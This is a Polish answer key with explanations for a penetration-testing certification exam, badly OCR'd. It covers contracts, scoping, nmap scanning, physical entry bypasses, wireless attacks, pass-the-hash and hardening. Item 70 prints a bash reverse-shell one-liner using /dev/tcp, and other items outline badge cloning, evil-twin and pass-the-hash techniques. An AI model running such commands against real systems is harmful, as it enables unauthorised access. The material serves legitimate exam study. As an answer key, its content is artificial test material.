1. B. Umowa o zachowaniu poufnosci (NDA) to umowa prawna, ktdra okresla, jakie poufne informacje
moga by¢ udostepniane, a jakie nie mogg by¢ udostepniane. W wiekszosci uméw dotyczacych testow
penetracyjnych umowa NDA okresla, ze tester nie moze ujawniac¢ wynikéw testu nikomu poza samym
klientem. SOW to formalny dokument okreslajgcy zakres testu penetracyjnego. MSA okresla warunki,
ktdre bedg regulowaé przyszte umowy. Zamowienie zakupu to wigzgca umowa zakupu od dostawcy.

2. A. Najprawdopodobniej poprosisz klienta o podpisanie zamdwienia. Zaméwienie zakupu to wigzaca
umowa zakupu od dostawcy. Po ztozeniu zamdéwienia Twoja organizacja moze uzasadnié¢ poswiecenie
czasu i pieniedzy na okreslenie SOW i NDA dla zaangazowania. Poniewaz klient zasadniczo ,,prébuje”
Twoje ustugi, umowa MSA nie bytaby jeszcze wymagana, chociaz moze byé w przysztosci.

3. A. Gtéwna umowa serwisowa (MSA) to umowa, w ktdrej obie strony zgadzajg sie na wiekszos¢
warunkéw, ktére bedg obowigzywac w przysztych umowach. Dzieki zdefiniowaniu tych warunkéw w
MSA przyszte umowy sg znacznie tatwiejsze i szybsze do zawarcia. Zamdwienie zakupu to wigzaca
umowa zakupu od dostawcy. SOW to formalny dokument okreslajacy zakres testu penetracyjnego.
Umowa o zachowaniu poufnosci okresla, co kazda ze stron umowy moze ujawnic stronom trzecim.

4. B i E. Jako pracownik firmy ochroniarskiej prawdopodobnie zostaniesz poproszony przez swojego
pracodawce o podpisanie umowy o zachowaniu poufnosci (NDA) i umowy o zakazie konkurenciji.
Umowa NDA okresla, co kazda ze stron umowy moze ujawnié¢ stronom trzecim. Twdj pracodawca
prawdopodobnie nie chce, abys ujawniat poufne informacje swoim konkurentom. Umowa o zakazie
konkurencji wymaga, abys$ zgodzit sie nie pracowac dla konkurencji lub bezposrednio konkurowaé z
pracodawca w przysztej pracy.

5. Ai B. Alternatywy dla SOW stosowane przez rzad federalny USA obejmujg oswiadczenie o celach
(SO0) i oswiadczenie o wydajnosci pracy (PWS). Zamdwienia zakupu i umowy o zakazie konkurencji
nie sg zazwyczaj uzywane jako alternatywa dla Zakresu Prac.

6. C. Zauwaz, ze nazwa hosta urzadzenia w sekcji Nazwy hostéw > Nazwa zaczyna sie od Androida. Z
tego mozna rozsadnie wywnioskowaé, ze urzadzenie jest najprawdopodobniej telefonem
komérkowym lub tabletem z systemem operacyjnym Android.

7. C. Zauwaz, ze to urzadzenie dziata pod kontrolg systemu Windows Server 2012 i ma otwarty port
53, ktory jest domyslnym portem serwera DNS. Mozna wiec wnioskowaé, ze ten serwer jest
kontrolerem domeny. Rola Active Directory na serwerze Windows wymaga roli DNS. Chociaz rola DNS
moze znajdowac sie na innym serwerze cztonkowskim, ustuga Active Directory jest prawie zawsze
instalowana na tym samym serwerze, co rola DNS.

8. E. Zadna z odpowiedzi wymienionych w tym pytaniu nie moze byé racjonalnie wywnioskowana z
informacji wyswietlanych w Zenmap. Wiesz, ze jest to serwer Windows i najprawdopodobniej jest to
kontroler domeny, ale z podanych informacji nie mozesz wywnioskowa¢ wiele wiecej.

9. A. Przechwytywanie baneréw to proces recznego taczenia sie z urzadzeniem, takim jak serwer
WWW, przy uzyciu narzedzia takiego jak klient Telnet lub Ncat i uzywania wyswietlanych informacji do
odcisku palca urzadzenia.

10. B i D. W tym przyktadzie na urzadzeniu dziata serwer WWW na portach 80 i 443. Porty 515, 631 i
9100 s3 uzywane do drukowania w sieci.

11. A. Nurkowanie w Smietniku ma miejsce, gdy atakujacy przeszukuje Smieci organizacji docelowej w
poszukiwaniu poufnych informacji.



12. A. Poniewaz serwerownia jest chroniona przez stosunkowo niewyszukany mechanizm blokujacy,
tester penetracji moze otworzyé zamek w celu uzyskania dostepu, zaktadajgc, ze posiada niezbedne
umiejetnosci w zakresie otwierania zamkow. Nalezy pamietaé, ze nalezatoby to zrobié w obszarze bez
nadzoru lub ruchu pieszego, poniewaz moze to zajgé troche czasu.

13. B. Obejscie zamka ma miejsce, gdy atakujgcy uniemozliwia dziatanie mechanizmu blokujgcego
drzwi. Na przyktad mozna to zrobié¢, umieszczajac tasme na klapce blokujacej, tak jak to zrobiono w
tym scenariuszu.

14. D. Obejscie czujnika wyjscia ma miejsce, gdy atakujgcy manipuluje czujnikiem wyjscia, aby otworzyé
drzwi. W tym scenariuszu poruszajgce sie sprezone powietrze z odpylacza jest znacznie zimniejsze i
gestsze niz otaczajgce powietrze, co powoduje, ze czujnik wyjscia sadzi, ze kto$ wychodzi z budynku i
otwiera drzwi.

15. C. Klonowanie identyfikatora ma miejsce, gdy osoba atakujaca wykonuje kopie waznej karty
dostepu w celu wejscia do obiektu. Kopiujgc podpis RFID waznej karty, tester penetracyjny w tym
scenariuszu moze uzy¢ fatszywej karty, aby uzyska¢ dostep do obiektu organizacji docelowej przy
uzyciu poswiadczen upowaznionego pracownika.

16. Ai B. W tym przyktadzie narzedzie nmap zostato uzyte do uruchomienia skanowania TCP SYN. Do
uruchomienia tego rodzaju skanowania mozna uzy¢ polecerr nmap 10.0.0.1 i nmap 10.0.0.1 —sS.

17. B. W tym przyktadzie narzedzie nmap zostato uzyte do uruchomienia skanowania potgczenia TCP.
Do uruchomienia tego rodzaju skanowania mozna uzy¢ polecenia nmap 10.0.0.1 —sT. Zauwaz, ze dane
wyjsciowe polecenia wygladaja prawie identycznie jak dane wyjsciowe skanowania TCP SYN.

18. C. W tym przyktadzie narzedzie nmap zostato uzyte do uruchomienia skanowania UDP. Do
uruchomienia tego rodzaju skanowania mozna uzy¢ polecenia nmap 10.0.0.1 —sU. Zauwaz, ze dane
wyjsciowe polecenia wygladajg prawie identycznie jak dane wyjsciowe skanowania TCP SYN; jednak
zawiera liste portéw UDP zamiast portéw TCP.

19. A. W tym przyktadzie narzedzie nmap zostato uzyte do uruchomienia skanowania portu TCP ACK.
Do uruchomienia tego rodzaju skanowania mozna uzy¢ polecenia nmap 10.0.0.1 —sA.

20. A. W tym przyktadzie narzedzie nmap zostato uzyte do uruchomienia skanowania TCP SYN. Dodano
jednak opcje —v, aby zwiekszy¢ szczegdtowos¢ danych wyjsciowych.

21. B. Pisemne sprawozdanie z ustalen zawiera bardzo wrazliwe informacje i dlatego powinno sie z nim
obchodzi¢ w bezpieczny sposdb. Nie nalezy go przechowywaé w sposéb, ktéry pozwalatby na jego
tatwa kradziez. W tym scenariuszu zapisanie pliku na zaszyfrowanym dysku flash i przechowywanie go
w zabezpieczonej szafce utrudnitoby kradziez raportu niz inne wymienione opcje.

22. C. Pisemny raport z ustalen zawiera bardzo wrazliwe informacje i dlatego nalezy go bezpiecznie
usungc. Nie nalezy go usuwaé w sposéb, ktéry pozwalatby na jego kradziez lub rekonstrukcje. W tym
scenariuszu wyczyszczenie dysku znacznie utrudni odzyskanie plikéw z dysku.

23. D. Pisemny raport z ustalen zawiera wysoce wrazliwe informacje i dlatego nalezy go bezpiecznie
usungc. Nie nalezy go usuwaé w sposéb, ktéry pozwalatby na jego kradziez lub rekonstrukcje. W tym
scenariuszu niszczenie dokumentéw znacznie utrudni odzyskanie danych z raportéw.

24. A. Pisemny raport z ustalen zawiera bardzo wrazliwe informacje i dlatego nalezy go bezpiecznie
usungc. Nie nalezy go usuwaé w sposéb, ktéry pozwalatby na jego kradziez lub rekonstrukcje. W tym



scenariuszu fizyczne zniszczenie niedrogich dyskéw flash znacznie utrudni odzyskanie danych z
raportéw.

25. B. Pisemny raport z ustalen zawiera bardzo wrazliwe informacje i dlatego nalezy go bezpiecznie
usungc. Nie nalezy go usuwaé w sposéb, ktéry pozwalatby na jego kradziez lub rekonstrukcje. W tym
scenariuszu fizyczne zniszczenie dyskéw optycznych znacznie utrudni odzyskanie danych z raportéw.

26. B. Ustawa Sarbanesa-Oxleya ustanawia standardy dla notowanych na gietdzie spodtek
amerykanskich w odniesieniu do polityk, standarddw i kontroli bezpieczenstwa. Na przyktad ustanawia
standardy dostepu do sieci, uwierzytelniania i bezpieczenstwa.

27. D. FIPS 140-2 to amerykanski rzgdowy standard bezpieczenistwa, ktory certyfikuje moduty
kryptograficzne.

28. C. W tym scenariuszu zabrakto czasu na poznanie docelowych odbiorcéw testu penetracyjnego.
Nalezy poswiecic czas z klientem na poznanie jego organizacji, celow testu i tak dalej. Dopiero wtedy
nalezy utworzyc¢ zakres.

29 4. D. W tym scenariuszu poufnos¢ ustalen nie byfa utrzymana. Wpis na blogu ujawnit zbyt wiele
informacji o kliencie. Rozwigzanie problemdw wykrytych podczas oceny moze zajac¢ klientowi tygodnie,
a nawet miesigce. Publikujac wyniki publicznie, narazasz klienta na potencjalne ataki.

30. A i C. Czescig procesu ustalania zakresu jest ustalenie, czy test penetracyjny oceni podatnos¢
organizacji na konkretng znang luke lub czy powinna zbada¢ nieznane luki. Poniewaz jest to test
zewnetrznej czarnej skrzynki, klient prawdopodobnie nie zapewni kont uzytkownikéw ani fizycznego
dostepu do swojej placowki.

31. D. Wyliczajac sie¢ docelowg podczas testu penetracyjnego biatej skrzynki, prawdopodobnie
zbierzesz wiele informacji. Na przyktad prawdopodobnie bedziesz chciat wyliczyé wszystkie podsieci,
hosty i domeny w sieci.

32. D. Wyliczajac sie¢ docelowg podczas testu penetracyjnego biatej skrzynki, prawdopodobnie
zbierzesz wiele informacji. Na przyktad prawdopodobnie bedziesz chciat wyliczy¢é wszystkie konta
uzytkownikow i grup, ktére mozna wykryé. Bedziesz takze chciat wyliczy¢ wszelkie udziaty sieciowe,
ktdre mozna zidentyfikowac.

33. E. Wyliczajgc sie¢ docelowg podczas testu penetracyjnego biatej skrzynki, prawdopodobnie
zbierzesz bardzo duzo informacji. Na przyktad prawdopodobnie bedziesz chciat wyliczyé wszystkie
strony internetowe, aplikacje, ustugi i tokeny uzywane w sieci.

34. C. Ograniczenie skanowania w celu uzycia minimalnej przepustowosci znacznie spowolni proces
skanowania. Jednak sprawi to rowniez, ze skany bedg mniej widoczne dla urzgdzen IDS/IPS, a takze da
im czas na dokfadniejsze odciski palcow urzadzen sieciowych.

35. B. Planujgc skanowanie w porze dnia, kiedy niewiele oséb jest w pracy, mozna zminimalizowac
wplyw na dostepng przepustowosc¢ sieci dla ruchu produkcyjnego, a takze unikngc¢ wykrycia przez
wewnetrznych administratoréw sieci.

36. C. To jest przyktad exploita fatszowania przetgcznika, ktéry jest uzywany do przeskakiwania sieci
VLAN. W przypadku exploita fatszowania przetacznika karta sieciowa testera jest ponownie
konfigurowana w celu emulowania portu trunkingowego w przetgczniku sieciowym. W ten sposéb
prawdziwy przetacznik pomysli, ze musi przekazywac ruch ze wszystkich sieci VLAN do urzadzenia
testera.



37. A. W ataku Karma tester uzywa specjalnego urzadzenia bezprzewodowego do nastuchiwania zadan
SSID z innych urzadzen, a nastepnie odpowiada, jakby byt to zgdany punkt dostepu. Ofiary myslg, ze s
podtaczone do legalnej sieci, ale w rzeczywistos$ci sg pofgczone bezposrednio z testerem. Tester
zazwyczaj przekazuje ruch ofiar do Internetu, wiec wszystko wydaje sie normalne. Pozwala to testerowi
na kontrolowanie ruchu ofiary i przechwytywanie poufnych informacji.

38.Bi C. W typowym ataku ztego blizniaka tester najpierw przeprowadza atak deauthentication w celu
odtgczenia urzadzen bezprzewodowych ofiar od rzeczywistej sieci. Urzadzenia te nastepnie
automatycznie faczg sie ponownie z bezprzewodowym punktem dostepowym testera, ktdry zostat
skonfigurowany z tym samym identyfikatorem SSID, co organizacja docelowa. Tester prawdopodobnie
zwiekszy wzmocnienie w radiach ztego blizniaka, poniewaz wiekszos¢ bezprzewodowych interfejséow
sieciowych domyslnie wybierze punkt dostepu z najsilniejszym sygnatem.

39. D. W ataku fragmentacji bezprzewodowej z przechwyconego pakietu wyodrebniana jest niewielka
ilos¢ materiatu klucza. Nastepnie do punktu dostepowego wysytany jest pakiet ARP o znanej
zawartosci. Jezeli pakiet jest wysytany z powrotem przez punkt dostepowy, to ze zwrdconego pakietu
mozna uzyskac jeszcze wiecej informacji o kluczowaniu. Jesli ten proces bedzie sie powtarzat w kotko,
caty klucz bezprzewodowy moze zostac ujawniony.

40. B. W ataku polegajagcym na zbieraniu danych uwierzytelniajgcych fatszywa strona internetowsa,
ktéra wyglada jak legalna strona internetowa, jest wykorzystywana do przechwytywania nazw
uzytkownikow i haset ofiar. W kontekscie exploita bezprzewodowego mozna to osiggnac za pomoca
fatszywego portalu przechwytujgcego, ktéry wyglada jak legalny portal przechwytujacy, ktéry
przechwytuje informacje ofiar.

41. Ai C. Podczas deklarowania zmiennej PowerShell uzywa sktadni Snazwa_zmiennej = wartos¢. Ruby
uzywa tej samej sktadni podczas deklarowania zmiennej globalnej.

42. C. Podczas deklarowania zmiennej lokalnej Ruby uzywa sktadni _nazwa_zmiennej = wartos¢.

43. C i D. Podczas deklarowania tablicy zaréwno Ruby, jak i Python uzywajg tej samej skfadni:
nazwa_tablicy = [wartos¢1, wartos¢2, wartoscs, ...].

44. B. Podczas deklarowania tablicy Bash uzywa nastepujacej sktadni: nazwa_tablicy = (wartos¢l,
wartosé2, wartosés, ...).

45. A. Podczas deklarowania tablicy PowerShell uzywa nastepujacej sktadni:
Snazwa_tablicy = @(wartos$¢1, warto$¢2, wartosés, ...).

46. A. Aby wzmocni¢ komunikacje sieciowg w systemie komputerowym z systemem Windows, nalezy
poprawnie skonfigurowac zapore systemu Windows. Najpierw zamknij wszystkie porty, aby upewnic
sie, Ze nic nie zostanie przypadkowo otwarte. Nastepnie otworz porty tylko dla tych ustug, ktére zostaty
zainstalowane i sg potrzebne w systemie.

47. A'i C. Aby wzmocni¢ system komputerowy z systemem Windows, nalezy rozwazy¢ zainstalowanie
dodatkowej pamieci RAM systemu, a nastepnie wytgczy¢ plik stronicowania systemu Windows.
Zapobiega to zapisywaniu poufnych danych, ktére powinny by¢ przechowywane tylko w
niezaszyfrowanym formacie w pamieci RAM o plik stronicowania dysku twardego. Powinienes takze
wytgczy¢ wszelkie niepotrzebne ustugi.



48. D. Aby wzmocni¢ system Windows, nalezy wytaczy¢ automatyczne uruchamianie. Pomaga to
zapobiegaé¢ instalowaniu ztoSliwego oprogramowania w systemie po wilozeniu do systemu
zainfekowanego dysku optycznego lub dysku USB.

49. A. Aby wzmocni¢ system serwerowy oparty na Linuksie, nalezy upewnié sie, ze uruchomiona jest
zapora na hoscie, wtgczajgc i konfigurujgc iptables. Najpierw zamknij wszystkie porty sieciowe w
zaporze, a nastepnie otworz tylko te, ktére sg wymagane przez okreslone ustugi dziatajgce w systemie.

50. B. Aby wzmocnic¢ system serwerdw oparty na Linuksie, upewnij sie, ze uzywasz SSH zamiast Telnet
do zdalnego dostepu do systemu. SSH szyfruje caty ruch sieciowy miedzy serwerem SSH a klientem
SSH. Z drugiej strony Telnet przesyta wszystkie dane w postaci zwyktego tekstu, w tym dane
uwierzytelniajace.

51. AiD. Poniewaz test bedzie obejmowat zardwno sie¢ organizacji docelowej, jak i ustuge $wiadczong
przez zewnetrznego dostawce Saas, przed wykonaniem testu penetracyjnego nalezy uzyskac pisemng
zgode obu podmiotéw. Nieuzyskanie ktdoregokolwiek z nich moze narazi¢ Cie na $ciganie i/lub
postepowanie sgdowe.

52.BiE. Zakres tego zaangazowania w tym scenariuszu jest ograniczony do wewnetrznej infrastruktury
sieciowej. Dostawca ustug internetowych organizacji, Amazon Web Services i sieci bezprzewodowe ich
sgsiadow sg wtasnoscig stron trzecich i dlatego sg uwazane za nieobjete zakresem.

53. Ai C. Poniewaz jest to test szarej skrzynki, mozesz spodziewac sie ograniczonego dostepu do sieci
i ograniczonego dostepu do pamieci. Zasadniczo mozna oczekiwac, ze poziom wiedzy i dostepu bedzie
podobny do tego, jaki miatby przecietny pracownik w organizacji.

54. D. Zasady zaangazowania obejmuja:

m Harmonogram, w ktérym zostang przeprowadzone testy

m Jakie lokalizacje, systemy, aplikacje i inne potencjalne cele majg zosta¢ uwzglednione/wykluczone?
m Wymagania dotyczace przetwarzania danych dla zebranych informacji

m Jakich zachowan mozna oczekiwa¢ od celu?

m Jakie zasoby sg przeznaczone na test

m Wszelkie kwestie prawne, ktérymi nalezy sie zajgc

m Kiedy/jak nastgpi komunikacja

m Z kim sie kontaktowac¢ w przypadku wydarzen

m Kto moze zaangazowac sie w zespot ds. testdw penetracyjnych?

55. D. Testy czarnoskrzynkowe, czasami nazywane testami wiedzy zerowej, majg na celu odtworzenie
tego, z czym moze spotkac sie atakujgcy. Testerzy nie majg dostepu ani informacji o srodowisku, a
zamiast tego muszg zbiera¢ informacje, odkrywaé luki w zabezpieczeniach i przechodzi¢ przez
infrastrukture lub systemy, tak jak zrobitby to atakujacy.

56. B i E. Urzadzenia mobilne stanowig istotng stabos$¢ bezpieczenstwa w nowoczesnych sieciach.
Wsrod wielu problemoéw zwigzanych z urzgdzeniami mobilnymi, dwa, z ktérych penetrator powinien
zdawac sobie sprawe, ze sg one aktualizowane w niespdjny sposdb. Jest to mniejszy problem w
przypadku urzadzen Apple, poniewaz majg one kontrole nad sprzetem i oprogramowaniem. Jest to
jednak powaziny problem w przypadku urzadzern z Androidem. Gdyby$s miat sprawdzi¢ poziom



aktualizacji grupy urzadzen z Androidem prawdopodobnie nie znajdziesz dwéch takich samych.
Ponadto niektdrzy uzytkownicy rootujg lub jailbreakuja swoje urzadzenia, aby mogli instalowac
aplikacje poza zatwierdzonymi kanatami sklepu. To sprawia, ze te urzadzenia sg podatne na ztosliwe
oprogramowanie.

57. D i E. Urzadzenia loT, takie jak inteligentne urzadzenia, telewizory itd., majg zwykle najstabsze
nieodtgczne zabezpieczenia. Nie zostaty zaprojektowane z myslg o bezpieczenstwie, sg trudne w
zarzadzaniu, a dostawcy rzadko publikujg aktualizacje zabezpieczen. Urzadzenia wbudowane
stosowane w przemystowych urzadzeniach sterujgcych majg te same stabosci.

58. Ci D. Najwiekszym zagrozeniem dla systemdéw POS w tym scenariuszu jest to, Ze sg one narazone
na dziatanie Internetu i pracujg na nieobstugiwanym (a zatem wysoce podatnym) systemie
operacyjnym. Klient powinien odizolowac systemy POS we wtasne] podsieci z dala od Internetu.
Powinni rowniez zaktualizowaé¢ swoj sprzet i oprogramowanie do nowszych wersji, aby wyeliminowad
ryzyko zwigzane z uruchamianiem starego systemu operacyjnego.

59. A. Najwiekszym zagrozeniem bezpieczenstwa zwigzanym z biometrycznym czytnikiem linii
papilarnych jest fakt, ze moze on zosta¢ oszukany przez fatszywy odcisk palca. W jednym z odcinkéw
programu telewizyjnego Pogromcy mitéw sprzed kilku lat obsada zdotfata pokonaé czytnik linii
papilarnych, podnoszac odcisk palca upowaznionego uzytkownika z kubka. W tym scenariuszu
prawdopodobnie powinienes zaleci¢ klientowi uaktualnienie do systemu uwierzytelniania opartego na
rozpoznawaniu twarzy, poniewaz okazato sig, ze jest trudniejszy do oszukania.

60. A. Internet rzeczy (loT) odnosi sie do sieci fizycznych produktow i urzadzen, ktére tacza sie z
Internetem. Producenci i deweloperzy chcg minimalizowac koszty, aby zwiekszy¢ swoje zyski. Dlatego
bezpieczenstwo czesto nie jest kluczowg cechg produktu lub urzadzenia. Tak wiec, jak kazde inne
urzadzenie w sieci, urzgdzenia loT moga mieé luki w zabezpieczeniach i mogg by¢ przedmiotem atakéw
sieciowych.

61. A. Tester zaimplementowat atak zimnego rozruchu. Uruchamiajac Linuksa z dysku flash, byta w
stanie oming¢ wiele mechanizmdéw bezpieczeristwa Windows i uzyskac dostep do plikdw kluczy.

62. D. Port JTAG jest zaimplementowany w ptytach gtéwnych niektérych producentéw do celdw
diagnostycznych i testowych. Przy odpowiednim sprzecie tester penetracyjny moze podtaczy¢ sie do
tego portu i przechwytywac dane bezposrednio z dziatajgcej ptyty gtdwne;j.

63. B. Ryzyko zwigzane z wtaczonymi potfgczeniami konsoli szeregowej na urzadzeniach sieciowych
polega na tym, ze administratorzy sieci zwykle nie zabezpieczajg ich odpowiednio. Poniewaz mozna
uzyskac¢ do nich dostep tylko za pomocg bezposredniego potgczenia punkt-punkt, nie konfigurujg ich
tak, aby wymagaty uwierzytelniania. Korzystanie z personifikacji utatwia testerowi penetracji dostep
do urzadzenia, o ile moze uzyskac¢ do niego fizyczny dostep.

64. A. Zdalne wywotywanie procedur (RPC)/Distributed Component Object Model (DCOM) jest
uzywany w systemach Windows i umozliwia zdalne wykonanie kodu w innym systemie Windows.

65. A. PsExec to narzedzie wiersza polecen, ktére jest domysinie instalowane na Systemy Windows,
ktére umozliwiajg interaktywne wykonywanie proceséw w innych systemach Windows.

66. B. W ataku brute-force na poswiadczenia tester bedzie prébowat zalogowad sie do aplikacji przy
uzyciu kazdej nazwy uzytkownika i hasta. Hydra to brutalne narzedzie, ktére moze tamac systemy za
pomocg zgadywania haset.



67. C. W tym scenariuszu tester uzywa modutu Metasploit PSEXEC. Korzystajac z Metasploit, tester
moze wykorzystac system i wykonac zrzut skrétu w celu wyodrebnienia skrétow systemu. Tester moze
nastepnie uzy¢ modutu PSEXEC, aby przekazaé hash do innego systemu w sieci. Przyktad pokazuje, jak
ustawiona jest opcja SMBPASS i wykonywany jest atak typu pass-the-hash, w wyniku ktérego uzyskuje
sie dostep do zdalnego systemu w sieci. Atak typu pass-the-hash to exploit, w ktérym tester pobiera
zaszyfrowane dane uwierzytelniajgce uzytkownika i bez ich famania ponownie wykorzystuje je, aby
oszukac system uwierzytelniania w celu utworzenia nowej uwierzytelnionej sesji w tej samej sieci.

68. C. Metasploit jest uruchamiany przez uruchomienie msfconsole z wiersza polecen. Polecenie
msfconsole znajduje sie w katalogu /usr/share/metasploit-framework/ msfconsole

69. B. Mimikatz to narzedzie typu open source, ktére umozliwia przeglgdanie informacji
uwierzytelniajacych z lokalnego urzedu zabezpieczen systemu Windows Subsystem Service (LSASS)
korzystajacy z modutu sekurlsa, ktéry zawiera hasta w postaci zwyktego tekstu i bilety Kerberos, ktére
mozna nastepnie wykorzystaé do atakdéw typu pass-the-hash i pass-the-ticket. Jednak w tym
scenariuszu pytanie brzmi ,przez drut”. Mimikatz to jedyne narzedzie, ktérego nie mozna uzy¢ w ten
sposob.

70. A. Odwrotna powtoka otwiera kanat komunikacyjny na porcie i czeka na potgczenia przychodzace.
Maszyna klienta dziata jako serwer i inicjuje potgczenie z maszyng testera. Robi sie to za pomoca:

bash -i >& /dev/tcp//443 0>&1

Biorac pod uwage opcje, A jest najlepszg opcja. B i C nie bedg dziata¢, poniewaz uzywajg, a nie . Opcja
D jest niepoprawna, poniewaz uzywa niewtasciwej skfadni.

71. C. Ustuga wykrywania (-sV) bedzie prébowata pobraé¢ banery z ustug; jednak opcja --reason
dostarczy uzasadnienia, dlaczego nmap wybrat dany stan portu.

72. B. Skrypt http-enum to NSE dotaczony do instalacji nmap. Skrypt ten wyliczy foldery WWW
powszechnie wystepujgce w typowych ustugach aplikacji WWW.

73. B. Ataki kolizyjne s3 powodowane przez dwa wejscia generujace te samg wartos$¢ skrétu.
74. B. Stored to prawidtowa odpowiedz.
75. C. ORA jest poprawnym przedrostkiem dla btedéw bazy danych Oracle.

76. D. Internet Control Message Protocol (ICMP) stuzy do komunikacji komunikatéw miedzy hostami
przez sie¢ i uzywa réznych typow (np. typ: 3 — miejsce docelowe nieosiggalne) i kodow (tj. kod: 10 —
host administracyjnie zabroniony) w celu rozwigzania problemoéw w $ciezce komunikacyjnej.

77. A. Wireshark dostarczy ci wersje typu STP (STP, RSTP lub MST) poprzez inspekcje jednostek danych
protokotu mostu (BPDU), ktore sg ramkami aktualizacji, ktére sg rozsytane grupowo miedzy
przetgcznikami w sieci co jaki$ czas aby okreslié, czy port jest w stanie przekazywania lub blokowania
(zapobiega petlom) oraz okresli¢ most gtdwny podczas procesu wyboru.

78. B. Wielokrotne uzycie polecenia ping przeciwko nieistniejgcym hostom wygeneruje wiele IV z AP
jako hostem, ale nigdy nie zostang zidentyfikowane, a zgdanie bedzie nadal rozprzestrzeniac sie w catej
sieci.

79. D. PMK wywodzi sie ze wszystkich opcji, z wyjgtkiem nazwy hosta urzadzenia. Brakujgce wartosci
to 256 (dtugos¢ PMK) i 4096 (liczba iteracji haszujgcych).



80. A. Deauthentication moéwi klientowi, aby odfaczyt sie od sieci bezprzewodowej. Zalecanym
dziataniem bytoby dezaktywowanie jednego klienta na raz, dopdki nie przechwycisz uscisku dtoni,
poniewaz pomaga zachowac cisze w swoim podejsciu i bytoby metoda, ktéra wywotataby najmniejszy
opor ze strony klientdéw podczas zaangazowania.



